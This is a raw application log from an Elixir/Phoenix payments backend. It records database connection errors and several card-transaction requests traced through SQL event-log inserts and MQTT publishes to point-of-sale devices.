    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 11:43:14.185000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Thu Sep  3 11:43:19.187000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Thu Sep  3 11:43:23.629000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 11:43:23.634000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Thu Sep  3 11:43:25.737000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Thu Sep  3 11:43:28.458000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Thu Sep  3 11:43:35.089000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Thu Sep  3 11:43:50.505000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Thu Sep  3 11:44:41.395000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:38688] POST /api/device/initiate
[Thu Sep  3 11:44:41.396000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:38688] Processing with DaProductAppWeb.DeviceInitiateController.initiate/2
  Parameters: %{"accountLabel" => "", "amount" => "120", "appKey" => "1234567897654", "customerMobileNumber" => "971501234567", "externalRefNumber" => "ch428013351545", "externalRefNumber2" => "9554282825", "externalRefNumber4" => "", "externalRefNumbers" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98250623730001"}, "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 11:44:41.396000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:38688] Processing card transaction for reference: ch428013351545
[Thu Sep  3 11:44:41.397000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:38688] QUERY OK source="users" db=0.7ms idle=1794.9ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 11:44:41.403000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:38688] QUERY OK source="custom_events" db=3.5ms queue=1.3ms idle=1795.9ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["initiate_card_txn_request"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 11:44:41.403000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:38688] Attempting to store custom event log:
Event ID: 35
Event Name: "Initiate Card Txn Request"
Event Value: "initiate_card_txn_request"
Reference ID: "ch428013351545"
Payload: %{
  username: "prasanna@dataaegis.com",
  amount: 120,
  account_label: "",
  app_key: "1234567897654",
  customer_mobile_number: "971501234567",
  external_ref_number: "ch428013351545",
  external_ref_number_2: "9554282825",
  external_ref_number_4: "",
  external_ref_numbers: "",
  push_to: %{"deviceId" => "98250623730001"}
}

[Thu Sep  3 11:44:41.403000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:38688] Prepared attributes for custom event log: %{
  payload: %{
    username: "prasanna@dataaegis.com",
    amount: 120,
    account_label: "",
    app_key: "1234567897654",
    customer_mobile_number: "971501234567",
    external_ref_number: "ch428013351545",
    external_ref_number_2: "9554282825",
    external_ref_number_4: "",
    external_ref_numbers: "",
    push_to: %{"deviceId" => "98250623730001"}
  },
  event_name: "Initiate Card Txn Request",
  refrence_id: "ch428013351545",
  transaction_id: nil,
  date_added: ~U[2026-09-03 11:44:41.403557Z],
  event_id: 35,
  event_value: "initiate_card_txn_request"
}
[Thu Sep  3 11:44:41.405000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:38688] Creating custom event log with attributes: %{payload: %{username: "prasanna@dataaegis.com", amount: 120, account_label: "", app_key: "1234567897654", customer_mobile_number: "971501234567", external_ref_number: "ch428013351545", external_ref_number_2: "9554282825", external_ref_number_4: "", external_ref_numbers: "", push_to: %{"deviceId" => "98250623730001"}}, event_name: "Initiate Card Txn Request", refrence_id: "ch428013351545", transaction_id: nil, date_added: ~U[2026-09-03 11:44:41.403557Z], event_id: 35, event_value: "initiate_card_txn_request"}
[Thu Sep  3 11:44:41.510000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:38688] QUERY OK db=103.7ms idle=1076.0ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{username: "prasanna@dataaegis.com", amount: 120, account_label: "", app_key: "1234567897654", customer_mobile_number: "971501234567", external_ref_number: "ch428013351545", external_ref_number_2: "9554282825", external_ref_number_4: "", external_ref_numbers: "", push_to: %{"deviceId" => "98250623730001"}}, "Initiate Card Txn Request", "ch428013351545", ~U[2026-09-03 11:44:41Z], 35, "initiate_card_txn_request", ~N[2026-09-03 11:44:41], ~N[2026-09-03 11:44:41]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 11:44:41.511000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:38688] Successfully created custom event log with ID: 40178
[Thu Sep  3 11:44:41.511000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:38688] Handling card transaction:
- Reference: ch428013351545
- Amount: 120
- Params: %{"accountLabel" => "", "amount" => "120", "appKey" => "1234567897654", "customerMobileNumber" => "971501234567", "externalRefNumber" => "ch428013351545", "externalRefNumber2" => "9554282825", "externalRefNumber4" => "", "externalRefNumbers" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98250623730001"}, "txnType" => "card", "username" => "prasanna@dataaegis.com"}

[Thu Sep  3 11:44:41.513000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:38688] QUERY OK source="users" db=1.3ms idle=909.2ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 11:44:41.514000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:38688] QUERY OK source="custom_events" db=0.8ms idle=910.9ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["response_from_device_online_status"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 11:44:41.515000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:38688] Attempting to store custom event log:
Event ID: 36
Event Name: "Response From Device Online Status"
Event Value: "response_from_device_online_status"
Reference ID: "ch428013351545"
Payload: %{
  status: "online",
  username: "prasanna@dataaegis.com",
  ts: 1788435881,
  device_id: "98250623730001",
  amount: 120
}

[Thu Sep  3 11:44:41.515000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:38688] Prepared attributes for custom event log: %{
  payload: %{
    status: "online",
    username: "prasanna@dataaegis.com",
    ts: 1788435881,
    device_id: "98250623730001",
    amount: 120
  },
  event_name: "Response From Device Online Status",
  refrence_id: "ch428013351545",
  transaction_id: nil,
  date_added: ~U[2026-09-03 11:44:41.515279Z],
  event_id: 36,
  event_value: "response_from_device_online_status"
}
[Thu Sep  3 11:44:41.515000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:38688] Creating custom event log with attributes: %{payload: %{status: "online", username: "prasanna@dataaegis.com", ts: 1788435881, device_id: "98250623730001", amount: 120}, event_name: "Response From Device Online Status", refrence_id: "ch428013351545", transaction_id: nil, date_added: ~U[2026-09-03 11:44:41.515279Z], event_id: 36, event_value: "response_from_device_online_status"}
[Thu Sep  3 11:44:41.608000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:38688] QUERY OK db=92.4ms queue=0.1ms idle=913.6ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{status: "online", username: "prasanna@dataaegis.com", ts: 1788435881, device_id: "98250623730001", amount: 120}, "Response From Device Online Status", "ch428013351545", ~U[2026-09-03 11:44:41Z], 36, "response_from_device_online_status", ~N[2026-09-03 11:44:41], ~N[2026-09-03 11:44:41]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 11:44:41.609000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:38688] Successfully created custom event log with ID: 40179
[Thu Sep  3 11:44:41.609000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:38688] Publish payload 98250623730001: "{\"type\":\"card\",\"request_id\":\"ch428013351545\",\"amount\":12000,\"phone\":\"93437121736\",\"terminalid\":\"90080005\"}"
[Thu Sep  3 11:44:41.687000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:38688] QUERY OK db=77.1ms idle=1007.0ms
INSERT INTO `cloud_transaction` (`status`,`payload`,`email`,`device_id`,`transaction_ref_number`,`provider_id`,`transaction_amount`,`additional_data`,`user_id`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?,?,?,?) ["pending", %{"accountLabel" => "", "amount" => "120", "appKey" => "1234567897654", "customerMobileNumber" => "971501234567", "externalRefNumber" => "ch428013351545", "externalRefNumber2" => "9554282825", "externalRefNumber4" => "", "externalRefNumbers" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98250623730001"}, "txnType" => "card", "username" => "prasanna@dataaegis.com"}, "ch_dd7d48a16501@mercurypay.in", "98250623730001", "ch428013351545", 4, Decimal.new("120"), %{}, "1", ~N[2026-09-03 11:44:41], ~N[2026-09-03 11:44:41]]
↳ DaProductAppWeb.DeviceInitiateController.do_handle_card_txn/3, at: lib/da_product_app_web/controllers/device_initiate_controller.ex:328
[Thu Sep  3 11:44:41.688000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:38688] QUERY OK source="users" db=1.5ms idle=505.0ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 11:44:41.690000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:38688] QUERY OK source="custom_events" db=1.1ms idle=423.4ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["request_for_publish_txn"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 11:44:41.691000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:38688] Attempting to store custom event log:
Event ID: 37
Event Name: "Request For Publish Txn"
Event Value: "request_for_publish_txn"
Reference ID: "ch428013351545"
Payload: %{
  username: "prasanna@dataaegis.com",
  topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub",
  ts: 1788435881,
  qos: 1,
  device_id: "98250623730001",
  amount: 120
}

[Thu Sep  3 11:44:41.691000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:38688] Prepared attributes for custom event log: %{
  payload: %{
    username: "prasanna@dataaegis.com",
    topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub",
    ts: 1788435881,
    qos: 1,
    device_id: "98250623730001",
    amount: 120
  },
  event_name: "Request For Publish Txn",
  refrence_id: "ch428013351545",
  transaction_id: nil,
  date_added: ~U[2026-09-03 11:44:41.691114Z],
  event_id: 37,
  event_value: "request_for_publish_txn"
}
[Thu Sep  3 11:44:41.691000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:38688] Creating custom event log with attributes: %{payload: %{username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub", ts: 1788435881, qos: 1, device_id: "98250623730001", amount: 120}, event_name: "Request For Publish Txn", refrence_id: "ch428013351545", transaction_id: nil, date_added: ~U[2026-09-03 11:44:41.691114Z], event_id: 37, event_value: "request_for_publish_txn"}
[Thu Sep  3 11:44:41.829000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:38688] QUERY OK db=137.4ms idle=357.8ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub", ts: 1788435881, qos: 1, device_id: "98250623730001", amount: 120}, "Request For Publish Txn", "ch428013351545", ~U[2026-09-03 11:44:41Z], 37, "request_for_publish_txn", ~N[2026-09-03 11:44:41], ~N[2026-09-03 11:44:41]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 11:44:41.829000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:38688] Successfully created custom event log with ID: 40180
[Thu Sep  3 11:44:41.829000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:38688] Published successfully to topic1: /ota/pFppbioOCKlo5c8E/98250623730001/update with ref: #Reference<0.2525715032.1112539137.167869>
[Thu Sep  3 11:44:41.829000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:38688] Published successfully to topic2: ota/pos/12345678/98250623730001/sub with ref: #Reference<0.2525715032.1112539137.167874>
[Thu Sep  3 11:44:41.831000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:38688] QUERY OK source="users" db=0.6ms idle=432.6ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 11:44:41.833000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:38688] QUERY OK source="custom_events" db=2.3ms idle=428.4ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["response_from_publish_txn"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 11:44:41.834000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:38688] Attempting to store custom event log:
Event ID: 38
Event Name: "Response From Publish Txn"
Event Value: "response_from_publish_txn"
Reference ID: "ch428013351545"
Payload: %{
  error: nil,
  status: "success",
  username: "prasanna@dataaegis.com",
  topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub",
  ts: 1788435881,
  device_id: "98250623730001",
  amount: 120
}

[Thu Sep  3 11:44:41.835000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:38688] Prepared attributes for custom event log: %{
  payload: %{
    error: nil,
    status: "success",
    username: "prasanna@dataaegis.com",
    topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub",
    ts: 1788435881,
    device_id: "98250623730001",
    amount: 120
  },
  event_name: "Response From Publish Txn",
  refrence_id: "ch428013351545",
  transaction_id: nil,
  date_added: ~U[2026-09-03 11:44:41.834253Z],
  event_id: 38,
  event_value: "response_from_publish_txn"
}
[Thu Sep  3 11:44:41.835000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:38688] Creating custom event log with attributes: %{payload: %{error: nil, status: "success", username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub", ts: 1788435881, device_id: "98250623730001", amount: 120}, event_name: "Response From Publish Txn", refrence_id: "ch428013351545", transaction_id: nil, date_added: ~U[2026-09-03 11:44:41.834253Z], event_id: 38, event_value: "response_from_publish_txn"}
[Thu Sep  3 11:44:41.900000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:38688] QUERY OK db=64.6ms idle=325.8ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{error: nil, status: "success", username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub", ts: 1788435881, device_id: "98250623730001", amount: 120}, "Response From Publish Txn", "ch428013351545", ~U[2026-09-03 11:44:41Z], 38, "response_from_publish_txn", ~N[2026-09-03 11:44:41], ~N[2026-09-03 11:44:41]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 11:44:41.900000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:38688] Successfully created custom event log with ID: 40181
[Thu Sep  3 11:44:41.901000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:38688] Publish successful to 98250623730001 with ref: #Reference<0.2525715032.1112539137.167874>
[Thu Sep  3 11:44:41.901000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:38688] Sent 200 in 505ms
[Thu Sep  3 11:44:56.305000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:40586] POST /api/device/initiate
[Thu Sep  3 11:44:56.305000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:40586] Processing with DaProductAppWeb.DeviceInitiateController.initiate/2
  Parameters: %{"accountLabel" => "", "amount" => "120", "appKey" => "1234567897654", "customerMobileNumber" => "971501234567", "externalRefNumber" => "ch552730079531", "externalRefNumber2" => "9554282825", "externalRefNumber4" => "", "externalRefNumbers" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98251226730002"}, "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 11:44:56.305000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:40586] Processing card transaction for reference: ch552730079531
[Thu Sep  3 11:44:56.307000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:40586] QUERY OK source="users" db=1.6ms idle=703.8ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 11:44:56.311000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:40586] QUERY OK source="custom_events" db=3.3ms idle=705.8ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["initiate_card_txn_request"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 11:44:56.312000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:40586] Attempting to store custom event log:
Event ID: 35
Event Name: "Initiate Card Txn Request"
Event Value: "initiate_card_txn_request"
Reference ID: "ch552730079531"
Payload: %{
  username: "prasanna@dataaegis.com",
  amount: 120,
  account_label: "",
  app_key: "1234567897654",
  customer_mobile_number: "971501234567",
  external_ref_number: "ch552730079531",
  external_ref_number_2: "9554282825",
  external_ref_number_4: "",
  external_ref_numbers: "",
  push_to: %{"deviceId" => "98251226730002"}
}

[Thu Sep  3 11:44:56.312000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:40586] Prepared attributes for custom event log: %{
  payload: %{
    username: "prasanna@dataaegis.com",
    amount: 120,
    account_label: "",
    app_key: "1234567897654",
    customer_mobile_number: "971501234567",
    external_ref_number: "ch552730079531",
    external_ref_number_2: "9554282825",
    external_ref_number_4: "",
    external_ref_numbers: "",
    push_to: %{"deviceId" => "98251226730002"}
  },
  event_name: "Initiate Card Txn Request",
  refrence_id: "ch552730079531",
  transaction_id: nil,
  date_added: ~U[2026-09-03 11:44:56.312520Z],
  event_id: 35,
  event_value: "initiate_card_txn_request"
}
[Thu Sep  3 11:44:56.312000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:40586] Creating custom event log with attributes: %{payload: %{username: "prasanna@dataaegis.com", amount: 120, account_label: "", app_key: "1234567897654", customer_mobile_number: "971501234567", external_ref_number: "ch552730079531", external_ref_number_2: "9554282825", external_ref_number_4: "", external_ref_numbers: "", push_to: %{"deviceId" => "98251226730002"}}, event_name: "Initiate Card Txn Request", refrence_id: "ch552730079531", transaction_id: nil, date_added: ~U[2026-09-03 11:44:56.312520Z], event_id: 35, event_value: "initiate_card_txn_request"}
[Thu Sep  3 11:44:56.386000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:40586] QUERY OK db=73.7ms idle=710.6ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{username: "prasanna@dataaegis.com", amount: 120, account_label: "", app_key: "1234567897654", customer_mobile_number: "971501234567", external_ref_number: "ch552730079531", external_ref_number_2: "9554282825", external_ref_number_4: "", external_ref_numbers: "", push_to: %{"deviceId" => "98251226730002"}}, "Initiate Card Txn Request", "ch552730079531", ~U[2026-09-03 11:44:56Z], 35, "initiate_card_txn_request", ~N[2026-09-03 11:44:56], ~N[2026-09-03 11:44:56]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 11:44:56.387000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:40586] Successfully created custom event log with ID: 40182
[Thu Sep  3 11:44:56.387000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:40586] Handling card transaction:
- Reference: ch552730079531
- Amount: 120
